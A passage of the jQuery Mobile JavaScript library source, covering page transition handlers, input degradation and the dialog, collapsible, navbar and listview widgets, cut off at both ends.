in order // Just to be precautios, disable scrollstart listening like silentScroll would $.event.special.scrollstart.enabled = false; //if we are hiding the url bar or the page was previously scrolled scroll to hide or return to position if ( $.mobile.hideUrlBar || this.toScroll !== $.mobile.defaultHomeScroll ) { window.scrollTo( 0, this.toScroll ); } // reenable scrollstart listening like silentScroll would setTimeout( function() { $.event.special.scrollstart.enabled = true; }, 150 ); }, startIn: function( screenHeight, reverseClass, none, preventFocus ) { this.hideIn(function() { this.$to.addClass( $.mobile.activePageClass + this.toPreClass ); // Send focus to page as it is now display: block if ( !preventFocus ) { $.mobile.focusPage( this.$to ); } // Set to page height this.$to.height( screenHeight + this.toScroll ); if ( !none ) { this.scrollPage(); } }); this.$to .removeClass( this.toPreClass ) .addClass( this.name + " in " + reverseClass ); if ( !none ) { this.$to.animationComplete( $.proxy(function() { this.doneIn(); }, this )); } else { this.doneIn(); } }, startOut: function( screenHeight, reverseClass, none ) { this.beforeStartOut( screenHeight, reverseClass, none ); // Set the from page's height and start it transitioning out // Note: setting an explicit height helps eliminate tiling in the transitions this.$from .height( screenHeight + $.mobile.window.scrollTop() ) .addClass( this.name + " out" + reverseClass ); }, toggleViewportClass: function() { $.mobile.pageContainer.toggleClass( "ui-mobile-viewport-transitioning viewport-" + this.name ); }, transition: function() { // NOTE many of these could be calculated/recorded in the constructor, it's my // opinion that binding them as late as possible has value with regards to // better transitions with fewer bugs. Ie, it's not guaranteed that the // object will be created and transition will be run immediately after as // it is today. So we wait until transition is invoked to gather the following var none, reverseClass = this.reverse ? " reverse" : "", screenHeight = $.mobile.getScreenHeight(), maxTransitionOverride = $.mobile.maxTransitionWidth !== false && $.mobile.window.width() > $.mobile.maxTransitionWidth; this.toScroll = $.mobile.navigate.history.getActive().lastScroll || $.mobile.defaultHomeScroll; none = !$.support.cssTransitions || !$.support.cssAnimations || maxTransitionOverride || !this.name || this.name === "none" || Math.max( $.mobile.window.scrollTop(), this.toScroll ) > $.mobile.getMaxScrollForTransition(); this.toggleViewportClass(); if ( this.$from && !none ) { this.startOut( screenHeight, reverseClass, none ); } else { this.doneOut( screenHeight, reverseClass, none, true ); } return this.deferred.promise(); } }); })( jQuery, this ); (function( $ ) { $.mobile.SerialTransition = function() { this.init.apply(this, arguments); }; $.extend($.mobile.SerialTransition.prototype, $.mobile.Transition.prototype, { sequential: true, beforeDoneOut: function() { if ( this.$from ) { this.cleanFrom(); } }, beforeStartOut: function( screenHeight, reverseClass, none ) { this.$from.animationComplete($.proxy(function() { this.doneOut( screenHeight, reverseClass, none ); }, this )); } }); })( jQuery ); (function( $ ) { $.mobile.ConcurrentTransition = function() { this.init.apply(this, arguments); }; $.extend($.mobile.ConcurrentTransition.prototype, $.mobile.Transition.prototype, { sequential: false, beforeDoneIn: function() { if ( this.$from ) { this.cleanFrom(); } }, beforeStartOut: function( screenHeight, reverseClass, none ) { this.doneOut( screenHeight, reverseClass, none ); } }); })( jQuery ); (function( $ ) { // generate the handlers from the above var defaultGetMaxScrollForTransition = function() { return $.mobile.getScreenHeight() * 3; }; //transition handler dictionary for 3rd party transitions $.mobile.transitionHandlers = { "sequential": $.mobile.SerialTransition, "simultaneous": $.mobile.ConcurrentTransition }; // Make our transition handler the public default. $.mobile.defaultTransitionHandler = $.mobile.transitionHandlers.sequential; $.mobile.transitionFallbacks = {}; // If transition is defined, check if css 3D transforms are supported, and if not, if a fallback is specified $.mobile._maybeDegradeTransition = function( transition ) { if ( transition && !$.support.cssTransform3d && $.mobile.transitionFallbacks[ transition ] ) { transition = $.mobile.transitionFallbacks[ transition ]; } return transition; }; // Set the getMaxScrollForTransition to default if no implementation was set by user $.mobile.getMaxScrollForTransition = $.mobile.getMaxScrollForTransition || defaultGetMaxScrollForTransition; })( jQuery ); /* * fallback transition for flip in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { $.mobile.transitionFallbacks.flip = "fade"; })( jQuery, this ); /* * fallback transition for flow in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { $.mobile.transitionFallbacks.flow = "fade"; })( jQuery, this ); /* * fallback transition for pop in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { $.mobile.transitionFallbacks.pop = "fade"; })( jQuery, this ); /* * fallback transition for slide in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { // Use the simultaneous transitions handler for slide transitions $.mobile.transitionHandlers.slide = $.mobile.transitionHandlers.simultaneous; // Set the slide transitions's fallback to "fade" $.mobile.transitionFallbacks.slide = "fade"; })( jQuery, this ); /* * fallback transition for slidedown in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { $.mobile.transitionFallbacks.slidedown = "fade"; })( jQuery, this ); /* * fallback transition for slidefade in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { // Set the slide transitions's fallback to "fade" $.mobile.transitionFallbacks.slidefade = "fade"; })( jQuery, this ); /* * fallback transition for slideup in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { $.mobile.transitionFallbacks.slideup = "fade"; })( jQuery, this ); /* * fallback transition for turn in non-3D supporting browsers (which tend to handle complex transitions poorly in general */ (function( $, window, undefined ) { $.mobile.transitionFallbacks.turn = "fade"; })( jQuery, this ); (function( $, undefined ) { $.mobile.degradeInputs = { color: false, date: false, datetime: false, "datetime-local": false, email: false, month: false, number: false, range: "number", search: "text", tel: false, time: false, url: false, week: false }; // Backcompat remove in 1.5 $.mobile.page.prototype.options.degradeInputs = $.mobile.degradeInputs; // Auto self-init widgets $.mobile.degradeInputsWithin = function( target ) { target = $( target ); // Degrade inputs to avoid poorly implemented native functionality target.find( "input" ).not( $.mobile.page.prototype.keepNativeSelector() ).each(function() { var element = $( this ), type = this.getAttribute( "type" ), optType = $.mobile.degradeInputs[ type ] || "text", html, hasType, findstr, repstr; if ( $.mobile.degradeInputs[ type ] ) { html = $( "<div>" ).html( element.clone() ).html(); // In IE browsers, the type sometimes doesn't exist in the cloned markup, so we replace the closing tag instead hasType = html.indexOf( " type=" ) > -1; findstr = hasType ? /\s+type=["']?\w+['"]?/ : /\/?>/; repstr = " type=\"" + optType + "\" data-" + $.mobile.ns + "type=\"" + type + "\"" + ( hasType ? "" : ">" ); element.replaceWith( html.replace( findstr, repstr ) ); } }); }; })( jQuery ); (function( $, window, undefined ) { $.widget( "mobile.page", $.mobile.page, { options: { // Accepts left, right and none closeBtn: "left", closeBtnText: "Close", overlayTheme: "a", corners: true, dialog: false }, _create: function() { this._super(); if ( this.options.dialog ) { $.extend( this, { _inner: this.element.children(), _headerCloseButton: null }); if ( !this.options.enhanced ) { this._setCloseBtn( this.options.closeBtn ); } } }, _enhance: function() { this._super(); // Class the markup for dialog styling and wrap interior if ( this.options.dialog ) { this.element.addClass( "ui-dialog" ) .wrapInner( $( "<div/>", { // ARIA role "role" : "dialog", "class" : "ui-dialog-contain ui-overlay-shadow" + ( this.options.corners ? " ui-corner-all" : "" ) })); } }, _setOptions: function( options ) { var closeButtonLocation, closeButtonText, currentOpts = this.options; if ( options.corners !== undefined ) { this._inner.toggleClass( "ui-corner-all", !!options.corners ); } if ( options.overlayTheme !== undefined ) { if ( $.mobile.activePage[ 0 ] === this.element[ 0 ] ) { currentOpts.overlayTheme = options.overlayTheme; this._handlePageBeforeShow(); } } if ( options.closeBtnText !== undefined ) { closeButtonLocation = currentOpts.closeBtn; closeButtonText = options.closeBtnText; } if ( options.closeBtn !== undefined ) { closeButtonLocation = options.closeBtn; } if ( closeButtonLocation ) { this._setCloseBtn( closeButtonLocation, closeButtonText ); } this._super( options ); }, _handlePageBeforeShow: function () { if ( this.options.overlayTheme && this.options.dialog ) { this.removeContainerBackground(); this.setContainerBackground( this.options.overlayTheme ); } else { this._super(); } }, _setCloseBtn: function( location, text ) { var dst, btn = this._headerCloseButton; // Sanitize value location = "left" === location ? "left" : "right" === location ? "right" : "none"; if ( "none" === location ) { if ( btn ) { btn.remove(); btn = null; } } else if ( btn ) { btn.removeClass( "ui-btn-left ui-btn-right" ).addClass( "ui-btn-" + location ); if ( text ) { btn.text( text ); } } else { dst = this._inner.find( ":jqmData(role='header')" ).first(); btn = $( "<a></a>", { "href": "#", "class": "ui-btn ui-corner-all ui-icon-delete ui-btn-icon-notext ui-btn-" + location }) .attr( "data-" + $.mobile.ns + "rel", "back" ) .text( text || this.options.closeBtnText || "" ) .prependTo( dst ); } this._headerCloseButton = btn; } }); })( jQuery, this ); (function( $, window, undefined ) { $.widget( "mobile.dialog", { options: { // Accepts left, right and none closeBtn: "left", closeBtnText: "Close", overlayTheme: "a", corners: true }, // Override the theme set by the page plugin on pageshow _handlePageBeforeShow: function() { this._isCloseable = true; if ( this.options.overlayTheme ) { this.element .page( "removeContainerBackground" ) .page( "setContainerBackground", this.options.overlayTheme ); } }, _handlePageBeforeHide: function() { this._isCloseable = false; }, // click and submit events: // - clicks and submits should use the closing transition that the dialog // opened with unless a data-transition is specified on the link/form // - if the click was on the close button, or the link has a data-rel="back" // it'll go back in history naturally _handleVClickSubmit: function( event ) { var attrs, $target = $( event.target ).closest( event.type === "vclick" ? "a" : "form" ); if ( $target.length && !$target.jqmData( "transition" ) ) { attrs = {}; attrs[ "data-" + $.mobile.ns + "transition" ] = ( $.mobile.navigate.history.getActive() || {} )[ "transition" ] || $.mobile.defaultDialogTransition; attrs[ "data-" + $.mobile.ns + "direction" ] = "reverse"; $target.attr( attrs ); } }, _create: function() { var elem = this.element, opts = this.options; // Class the markup for dialog styling and wrap interior elem.addClass( "ui-dialog" ) .wrapInner( $( "<div/>", { // ARIA role "role" : "dialog", "class" : "ui-dialog-contain ui-overlay-shadow" + ( !!opts.corners ? " ui-corner-all" : "" ) })); $.extend( this, { _isCloseable: false, _inner: elem.children(), _headerCloseButton: null }); this._on( elem, { vclick: "_handleVClickSubmit", submit: "_handleVClickSubmit", pagebeforeshow: "_handlePageBeforeShow", pagebeforehide: "_handlePageBeforeHide" }); this._setCloseBtn( opts.closeBtn ); }, _setOptions: function( options ) { var closeButtonLocation, closeButtonText, currentOpts = this.options; if ( options.corners !== undefined ) { this._inner.toggleClass( "ui-corner-all", !!options.corners ); } if ( options.overlayTheme !== undefined ) { if ( $.mobile.activePage[ 0 ] === this.element[ 0 ] ) { currentOpts.overlayTheme = options.overlayTheme; this._handlePageBeforeShow(); } } if ( options.closeBtnText !== undefined ) { closeButtonLocation = currentOpts.closeBtn; closeButtonText = options.closeBtnText; } if ( options.closeBtn !== undefined ) { closeButtonLocation = options.closeBtn; } if ( closeButtonLocation ) { this._setCloseBtn( closeButtonLocation, closeButtonText ); } this._super( options ); }, _setCloseBtn: function( location, text ) { var dst, btn = this._headerCloseButton; // Sanitize value location = "left" === location ? "left" : "right" === location ? "right" : "none"; if ( "none" === location ) { if ( btn ) { btn.remove(); btn = null; } } else if ( btn ) { btn.removeClass( "ui-btn-left ui-btn-right" ).addClass( "ui-btn-" + location ); if ( text ) { btn.text( text ); } } else { dst = this._inner.find( ":jqmData(role='header')" ).first(); btn = $( "<a></a>", { "role": "button", "href": "#", "class": "ui-btn ui-corner-all ui-icon-delete ui-btn-icon-notext ui-btn-" + location }) .text( text || this.options.closeBtnText || "" ) .prependTo( dst ); this._on( btn, { click: "close" } ); } this._headerCloseButton = btn; }, // Close method goes back in history close: function() { var hist = $.mobile.navigate.history; if ( this._isCloseable ) { this._isCloseable = false; // If the hash listening is enabled and there is at least one preceding history // entry it's ok to go back. Initial pages with the dialog hash state are an example // where the stack check is necessary if ( $.mobile.hashListeningEnabled && hist.activeIndex > 0 ) { $.mobile.back(); } else { $.mobile.pageContainer.pagecontainer( "back" ); } } } }); })( jQuery, this ); (function( $, undefined ) { var rInitialLetter = /([A-Z])/g, // Construct iconpos class from iconpos value iconposClass = function( iconpos ) { return ( "ui-btn-icon-" + ( iconpos === null ? "left" : iconpos ) ); }; $.widget( "mobile.collapsible", { options: { enhanced: false, expandCueText: null, collapseCueText: null, collapsed: true, heading: "h1,h2,h3,h4,h5,h6,legend", collapsedIcon: null, expandedIcon: null, iconpos: null, theme: null, contentTheme: null, inset: null, corners: null, mini: null }, _create: function() { var elem = this.element, ui = { accordion: elem .closest( ":jqmData(role='collapsible-set')," + ":jqmData(role='collapsibleset')" + ( $.mobile.collapsibleset ? ", :mobile-collapsibleset" : "" ) ) .addClass( "ui-collapsible-set" ) }; this._ui = ui; this._renderedOptions = this._getOptions( this.options ); if ( this.options.enhanced ) { ui.heading = this.element.children( ".ui-collapsible-heading" ); ui.content = ui.heading.next(); ui.anchor = ui.heading.children(); ui.status = ui.anchor.children( ".ui-collapsible-heading-status" ); } else { this._enhance( elem, ui ); } this._on( ui.heading, { "tap": function() { ui.heading.find( "a" ).first().addClass( $.mobile.activeBtnClass ); }, "click": function( event ) { this._handleExpandCollapse( !ui.heading.hasClass( "ui-collapsible-heading-collapsed" ) ); event.preventDefault(); event.stopPropagation(); } }); }, // Adjust the keys inside options for inherited values _getOptions: function( options ) { var key, accordion = this._ui.accordion, accordionWidget = this._ui.accordionWidget; // Copy options options = $.extend( {}, options ); if ( accordion.length && !accordionWidget ) { this._ui.accordionWidget = accordionWidget = accordion.data( "mobile-collapsibleset" ); } for ( key in options ) { // Retrieve the option value first from the options object passed in and, if // null, from the parent accordion or, if that's null too, or if there's no // parent accordion, then from the defaults. options[ key ] = ( options[ key ] != null ) ? options[ key ] : ( accordionWidget ) ? accordionWidget.options[ key ] : accordion.length ? $.mobile.getAttribute( accordion[ 0 ], key.replace( rInitialLetter, "-$1" ).toLowerCase() ): null; if ( null == options[ key ] ) { options[ key ] = $.mobile.collapsible.defaults[ key ]; } } return options; }, _themeClassFromOption: function( prefix, value ) { return ( value ? ( value === "none" ? "" : prefix + value ) : "" ); }, _enhance: function( elem, ui ) { var iconclass, opts = this._renderedOptions, contentThemeClass = this._themeClassFromOption( "ui-body-", opts.contentTheme ); elem.addClass( "ui-collapsible " + ( opts.inset ? "ui-collapsible-inset " : "" ) + ( opts.inset && opts.corners ? "ui-corner-all " : "" ) + ( contentThemeClass ? "ui-collapsible-themed-content " : "" ) ); ui.originalHeading = elem.children( this.options.heading ).first(), ui.content = elem .wrapInner( "<div " + "class='ui-collapsible-content " + contentThemeClass + "'></div>" ) .children( ".ui-collapsible-content" ), ui.heading = ui.originalHeading; // Replace collapsibleHeading if it's a legend if ( ui.heading.is( "legend" ) ) { ui.heading = $( "<div role='heading'>"+ ui.heading.html() +"</div>" ); ui.placeholder = $( "<div><!-- placeholder for legend --></div>" ).insertBefore( ui.originalHeading ); ui.originalHeading.remove(); } iconclass = ( opts.collapsed ? ( opts.collapsedIcon ? "ui-icon-" + opts.collapsedIcon : "" ): ( opts.expandedIcon ? "ui-icon-" + opts.expandedIcon : "" ) ); ui.status = $( "<span class='ui-collapsible-heading-status'></span>" ); ui.anchor = ui.heading .detach() //modify markup & attributes .addClass( "ui-collapsible-heading" ) .append( ui.status ) .wrapInner( "<a href='#' class='ui-collapsible-heading-toggle'></a>" ) .find( "a" ) .first() .addClass( "ui-btn " + ( iconclass ? iconclass + " " : "" ) + ( iconclass ? iconposClass( opts.iconpos ) + " " : "" ) + this._themeClassFromOption( "ui-btn-", opts.theme ) + " " + ( opts.mini ? "ui-mini " : "" ) ); //drop heading in before content ui.heading.insertBefore( ui.content ); this._handleExpandCollapse( this.options.collapsed ); return ui; }, refresh: function() { this._applyOptions( this.options ); this._renderedOptions = this._getOptions( this.options ); }, _applyOptions: function( options ) { var isCollapsed, newTheme, oldTheme, hasCorners, hasIcon, elem = this.element, currentOpts = this._renderedOptions, ui = this._ui, anchor = ui.anchor, status = ui.status, opts = this._getOptions( options ); // First and foremost we need to make sure the collapsible is in the proper // state, in case somebody decided to change the collapsed option at the // same time as another option if ( options.collapsed !== undefined ) { this._handleExpandCollapse( options.collapsed ); } isCollapsed = elem.hasClass( "ui-collapsible-collapsed" ); // We only need to apply the cue text for the current state right away. // The cue text for the alternate state will be stored in the options // and applied the next time the collapsible's state is toggled if ( isCollapsed ) { if ( opts.expandCueText !== undefined ) { status.text( opts.expandCueText ); } } else { if ( opts.collapseCueText !== undefined ) { status.text( opts.collapseCueText ); } } // Update icon // Is it supposed to have an icon? hasIcon = // If the collapsedIcon is being set, consult that ( opts.collapsedIcon !== undefined ? opts.collapsedIcon !== false : // Otherwise consult the existing option value currentOpts.collapsedIcon !== false ); // If any icon-related options have changed, make sure the new icon // state is reflected by first removing all icon-related classes // reflecting the current state and then adding all icon-related // classes for the new state if ( !( opts.iconpos === undefined && opts.collapsedIcon === undefined && opts.expandedIcon === undefined ) ) { // Remove all current icon-related classes anchor.removeClass( [ iconposClass( currentOpts.iconpos ) ] .concat( ( currentOpts.expandedIcon ? [ "ui-icon-" + currentOpts.expandedIcon ] : [] ) ) .concat( ( currentOpts.collapsedIcon ? [ "ui-icon-" + currentOpts.collapsedIcon ] : [] ) ) .join( " " ) ); // Add new classes if an icon is supposed to be present if ( hasIcon ) { anchor.addClass( [ iconposClass( opts.iconpos !== undefined ? opts.iconpos : currentOpts.iconpos ) ] .concat( isCollapsed ? [ "ui-icon-" + ( opts.collapsedIcon !== undefined ? opts.collapsedIcon : currentOpts.collapsedIcon ) ] : [ "ui-icon-" + ( opts.expandedIcon !== undefined ? opts.expandedIcon : currentOpts.expandedIcon ) ] ) .join( " " ) ); } } if ( opts.theme !== undefined ) { oldTheme = this._themeClassFromOption( "ui-btn-", currentOpts.theme ); newTheme = this._themeClassFromOption( "ui-btn-", opts.theme ); anchor.removeClass( oldTheme ).addClass( newTheme ); } if ( opts.contentTheme !== undefined ) { oldTheme = this._themeClassFromOption( "ui-body-", currentOpts.contentTheme ); newTheme = this._themeClassFromOption( "ui-body-", opts.contentTheme ); ui.content.removeClass( oldTheme ).addClass( newTheme ); } if ( opts.inset !== undefined ) { elem.toggleClass( "ui-collapsible-inset", opts.inset ); hasCorners = !!( opts.inset && ( opts.corners || currentOpts.corners ) ); } if ( opts.corners !== undefined ) { hasCorners = !!( opts.corners && ( opts.inset || currentOpts.inset ) ); } if ( hasCorners !== undefined ) { elem.toggleClass( "ui-corner-all", hasCorners ); } if ( opts.mini !== undefined ) { anchor.toggleClass( "ui-mini", opts.mini ); } }, _setOptions: function( options ) { this._applyOptions( options ); this._super( options ); this._renderedOptions = this._getOptions( this.options ); }, _handleExpandCollapse: function( isCollapse ) { var opts = this._renderedOptions, ui = this._ui; ui.status.text( isCollapse ? opts.expandCueText : opts.collapseCueText ); ui.heading .toggleClass( "ui-collapsible-heading-collapsed", isCollapse ) .find( "a" ).first() .toggleClass( "ui-icon-" + opts.expandedIcon, !isCollapse ) // logic or cause same icon for expanded/collapsed state would remove the ui-icon-class .toggleClass( "ui-icon-" + opts.collapsedIcon, ( isCollapse || opts.expandedIcon === opts.collapsedIcon ) ) .removeClass( $.mobile.activeBtnClass ); this.element.toggleClass( "ui-collapsible-collapsed", isCollapse ); ui.content .toggleClass( "ui-collapsible-content-collapsed", isCollapse ) .attr( "aria-hidden", isCollapse ) .trigger( "updatelayout" ); this.options.collapsed = isCollapse; this._trigger( isCollapse ? "collapse" : "expand" ); }, expand: function() { this._handleExpandCollapse( false ); }, collapse: function() { this._handleExpandCollapse( true ); }, _destroy: function() { var ui = this._ui, opts = this.options; if ( opts.enhanced ) { return; } if ( ui.placeholder ) { ui.originalHeading.insertBefore( ui.placeholder ); ui.placeholder.remove(); ui.heading.remove(); } else { ui.status.remove(); ui.heading .removeClass( "ui-collapsible-heading ui-collapsible-heading-collapsed" ) .children() .contents() .unwrap(); } ui.anchor.contents().unwrap(); ui.content.contents().unwrap(); this.element .removeClass( "ui-collapsible ui-collapsible-collapsed " + "ui-collapsible-themed-content ui-collapsible-inset ui-corner-all" ); } }); // Defaults to be used by all instances of collapsible if per-instance values // are unset or if nothing is specified by way of inheritance from an accordion. // Note that this hash does not contain options "collapsed" or "heading", // because those are not inheritable. $.mobile.collapsible.defaults = { expandCueText: " click to expand contents", collapseCueText: " click to collapse contents", collapsedIcon: "plus", contentTheme: "inherit", expandedIcon: "minus", iconpos: "left", inset: true, corners: true, theme: "inherit", mini: false }; })( jQuery ); (function( $, undefined ) { var uiScreenHiddenRegex = /\bui-screen-hidden\b/; function noHiddenClass( elements ) { var index, length = elements.length, result = []; for ( index = 0; index < length; index++ ) { if ( !elements[ index ].className.match( uiScreenHiddenRegex ) ) { result.push( elements[ index ] ); } } return $( result ); } $.mobile.behaviors.addFirstLastClasses = { _getVisibles: function( $els, create ) { var visibles; if ( create ) { visibles = noHiddenClass( $els ); } else { visibles = $els.filter( ":visible" ); if ( visibles.length === 0 ) { visibles = noHiddenClass( $els ); } } return visibles; }, _addFirstLastClasses: function( $els, $visibles, create ) { $els.removeClass( "ui-first-child ui-last-child" ); $visibles.eq( 0 ).addClass( "ui-first-child" ).end().last().addClass( "ui-last-child" ); if ( !create ) { this.element.trigger( "updatelayout" ); } }, _removeFirstLastClasses: function( $els ) { $els.removeClass( "ui-first-child ui-last-child" ); } }; })( jQuery ); (function( $, undefined ) { var childCollapsiblesSelector = ":mobile-collapsible, " + $.mobile.collapsible.initSelector; $.widget( "mobile.collapsibleset", $.extend( { // The initSelector is deprecated as of 1.4.0. In 1.5.0 we will use // :jqmData(role='collapsibleset') which will allow us to get rid of the line // below altogether, because the autoinit will generate such an initSelector initSelector: ":jqmData(role='collapsible-set'),:jqmData(role='collapsibleset')", options: $.extend( { enhanced: false }, $.mobile.collapsible.defaults ), _handleCollapsibleExpand: function( event ) { var closestCollapsible = $( event.target ).closest( ".ui-collapsible" ); if ( closestCollapsible.parent().is( ":mobile-collapsibleset, :jqmData(role='collapsible-set')" ) ) { closestCollapsible .siblings( ".ui-collapsible:not(.ui-collapsible-collapsed)" ) .collapsible( "collapse" ); } }, _create: function() { var elem = this.element, opts = this.options; $.extend( this, { _classes: "" }); if ( !opts.enhanced ) { elem.addClass( "ui-collapsible-set " + this._themeClassFromOption( "ui-group-theme-", opts.theme ) + " " + ( opts.corners && opts.inset ? "ui-corner-all " : "" ) ); this.element.find( $.mobile.collapsible.initSelector ).collapsible(); } this._on( elem, { collapsibleexpand: "_handleCollapsibleExpand" } ); }, _themeClassFromOption: function( prefix, value ) { return ( value ? ( value === "none" ? "" : prefix + value ) : "" ); }, _init: function() { this._refresh( true ); // Because the corners are handled by the collapsible itself and the default state is collapsed // That was causing https://github.com/jquery/jquery-mobile/issues/4116 this.element .children( childCollapsiblesSelector ) .filter( ":jqmData(collapsed='false')" ) .collapsible( "expand" ); }, _setOptions: function( options ) { var ret, hasCorners, elem = this.element, themeClass = this._themeClassFromOption( "ui-group-theme-", options.theme ); if ( themeClass ) { elem .removeClass( this._themeClassFromOption( "ui-group-theme-", this.options.theme ) ) .addClass( themeClass ); } if ( options.inset !== undefined ) { hasCorners = !!( options.inset && ( options.corners || this.options.corners ) ); } if ( options.corners !== undefined ) { hasCorners = !!( options.corners && ( options.inset || this.options.inset ) ); } if ( hasCorners !== undefined ) { elem.toggleClass( "ui-corner-all", hasCorners ); } ret = this._super( options ); this.element.children( ":mobile-collapsible" ).collapsible( "refresh" ); return ret; }, _destroy: function() { var el = this.element; this._removeFirstLastClasses( el.children( childCollapsiblesSelector ) ); el .removeClass( "ui-collapsible-set ui-corner-all " + this._themeClassFromOption( "ui-group-theme-", this.options.theme ) ) .children( ":mobile-collapsible" ) .collapsible( "destroy" ); }, _refresh: function( create ) { var collapsiblesInSet = this.element.children( childCollapsiblesSelector ); this.element.find( $.mobile.collapsible.initSelector ).not( ".ui-collapsible" ).collapsible(); this._addFirstLastClasses( collapsiblesInSet, this._getVisibles( collapsiblesInSet, create ), create ); }, refresh: function() { this._refresh( false ); } }, $.mobile.behaviors.addFirstLastClasses ) ); })( jQuery ); (function( $, undefined ) { // Deprecated in 1.4 $.fn.fieldcontain = function(/* options */) { return this.addClass( "ui-field-contain" ); }; })( jQuery ); (function( $, undefined ) { $.fn.grid = function( options ) { return this.each(function() { var $this = $( this ), o = $.extend({ grid: null }, options ), $kids = $this.children(), gridCols = { solo:1, a:2, b:3, c:4, d:5 }, grid = o.grid, iterator, letter; if ( !grid ) { if ( $kids.length <= 5 ) { for ( letter in gridCols ) { if ( gridCols[ letter ] === $kids.length ) { grid = letter; } } } else { grid = "a"; $this.addClass( "ui-grid-duo" ); } } iterator = gridCols[grid]; $this.addClass( "ui-grid-" + grid ); $kids.filter( ":nth-child(" + iterator + "n+1)" ).addClass( "ui-block-a" ); if ( iterator > 1 ) { $kids.filter( ":nth-child(" + iterator + "n+2)" ).addClass( "ui-block-b" ); } if ( iterator > 2 ) { $kids.filter( ":nth-child(" + iterator + "n+3)" ).addClass( "ui-block-c" ); } if ( iterator > 3 ) { $kids.filter( ":nth-child(" + iterator + "n+4)" ).addClass( "ui-block-d" ); } if ( iterator > 4 ) { $kids.filter( ":nth-child(" + iterator + "n+5)" ).addClass( "ui-block-e" ); } }); }; })( jQuery ); (function( $, undefined ) { $.widget( "mobile.navbar", { options: { iconpos: "top", grid: null }, _create: function() { var $navbar = this.element, $navbtns = $navbar.find( "a, button" ), iconpos = $navbtns.filter( ":jqmData(icon)" ).length ? this.options.iconpos : undefined; $navbar.addClass( "ui-navbar" ) .attr( "role", "navigation" ) .find( "ul" ) .jqmEnhanceable() .grid({ grid: this.options.grid }); $navbtns .each( function() { var icon = $.mobile.getAttribute( this, "icon" ), theme = $.mobile.getAttribute( this, "theme" ), classes = "ui-btn"; if ( theme ) { classes += " ui-btn-" + theme; } if ( icon ) { classes += " ui-icon-" + icon + " ui-btn-icon-" + iconpos; } $( this ).addClass( classes ); }); $navbar.delegate( "a", "vclick", function( /* event */ ) { var activeBtn = $( this ); if ( !( activeBtn.hasClass( "ui-state-disabled" ) || // DEPRECATED as of 1.4.0 - remove after 1.4.0 release // only ui-state-disabled should be present thereafter activeBtn.hasClass( "ui-disabled" ) || activeBtn.hasClass( $.mobile.activeBtnClass ) ) ) { $navbtns.removeClass( $.mobile.activeBtnClass ); activeBtn.addClass( $.mobile.activeBtnClass ); // The code below is a workaround to fix #1181 $( document ).one( "pagehide", function() { activeBtn.removeClass( $.mobile.activeBtnClass ); }); } }); // Buttons in the navbar with ui-state-persist class should regain their active state before page show $navbar.closest( ".ui-page" ).bind( "pagebeforeshow", function() { $navbtns.filter( ".ui-state-persist" ).addClass( $.mobile.activeBtnClass ); }); } }); })( jQuery ); (function( $, undefined ) { var getAttr = $.mobile.getAttribute; $.widget( "mobile.listview", $.extend( { options: { theme: null, countTheme: null, /* Deprecated in 1.4 */ dividerTheme: null, icon: "carat-r", splitIcon: "carat-r", splitTheme: null, corners: true, shadow: true, inset: false }, _create: function() { var t = this, listviewClasses = ""; listviewClasses += t.options.inset ? " ui-listview-inset" : ""; if ( !!t.options.inset ) { listviewClasses += t.options.corners ? " ui-corner-all" : ""; listviewClasses += t.options.shadow ? " ui-shadow" : ""; } // create listview markup t.element.addClass( " ui-listview" + listviewClasses ); t.refresh( true ); }, // TODO: Remove in 1.5 _findFirstElementByTagName: function( ele, nextProp, lcName, ucName ) { var dict = {}; dict[ lcName ] = dict[ ucName ] = true; while ( ele ) { if ( dict[ ele.nodeName ] ) { return ele; } ele = ele[ nextProp ]; } return null; }, // TODO: Remove in 1.5 _addThumbClasses: function( containers ) { var i, img, len = containers.length; for ( i = 0; i < len; i++ ) { img = $( this._findFirstElementByTagName( containers[ i ].firstChild, "nextSibling", "img", "IMG" ) ); if ( img.length ) { $( this._findFirstElementByTagName( img[ 0 ].parentNode, "parentNode", "li", "LI" ) ).addClass( img.hasClass( "ui-li-icon" ) ? "ui-li-has-icon" : "ui-li-has-thumb" ); } } }, _getChildrenByTagName: function( ele, lcName, ucName ) { var results = [], dict = {}; dict[ lcName ] = dict[ ucName ] = true; ele = ele.firstChild; while ( ele ) { if ( dict[ ele.nodeName ] ) { results.push( ele ); } ele = ele.nextSibling; } return $( results ); }, _beforeListviewRefresh: $.noop, _afterListviewRefresh: $.noop, refresh: function( create ) { var buttonClass, pos, numli, item, itemClass, itemTheme, itemIcon, icon, a, isDivider, startCount, newStartCount, value, last, splittheme, splitThemeClass, spliticon, altButtonClass, dividerTheme, li, o = this.options, $list = this.element, ol = !!$.nodeName( $list[ 0 ], "ol" ), start = $list.attr( "start" ), itemClassDict = {}, countBubbles = $list.find( ".ui-li-count" ), countTheme = getAttr( $list[ 0 ], "counttheme" ) || this.options.countTheme, countThemeClass = countTheme ? "ui-body-" + countTheme : "ui-body-inherit"; if ( o.theme ) { $list.addClass( "ui-group-theme-" + o.theme ); } // Check if a start attribute has been set while taking a value of 0 into account if ( ol && ( start || start === 0 ) ) { startCount = parseInt( start, 10 ) - 1; $list.css( "counter-reset", "listnumbering " + startCount ); } this._beforeListviewRefresh(); li = this._getChildrenByTagName( $list[ 0 ], "li", "LI" ); for ( pos = 0, numli = li.length; pos < numli; pos++ ) { item = li.eq( pos ); itemClass = ""; if ( create || item[ 0 ].className.search( /\bui-li-static\b|\bui-li-divider\b/ ) < 0 ) { a = this._getChildrenByTagName( item[ 0 ], "a", "A" ); isDivider = ( getAttr( item[ 0 ], "role" ) === "list-divider" ); value = item.attr( "value" ); itemTheme = getAttr( item[ 0 ], "theme" ); if ( a.length && a[ 0 ].className.search( /\bui-btn\b/ ) < 0 && !isDivider ) { itemIcon = getAttr( item[ 0 ], "icon" ); icon = ( itemIcon === false ) ? false : ( itemIcon || o.icon ); // TODO: Remove in 1.5 together with links.js (links.js / .ui-link deprecated in 1.4) a.removeClass( "ui-link" ); buttonClass = "ui-btn"; if ( itemTheme ) { buttonClass += " ui-btn-" + itemTheme; } if ( a.length > 1 ) 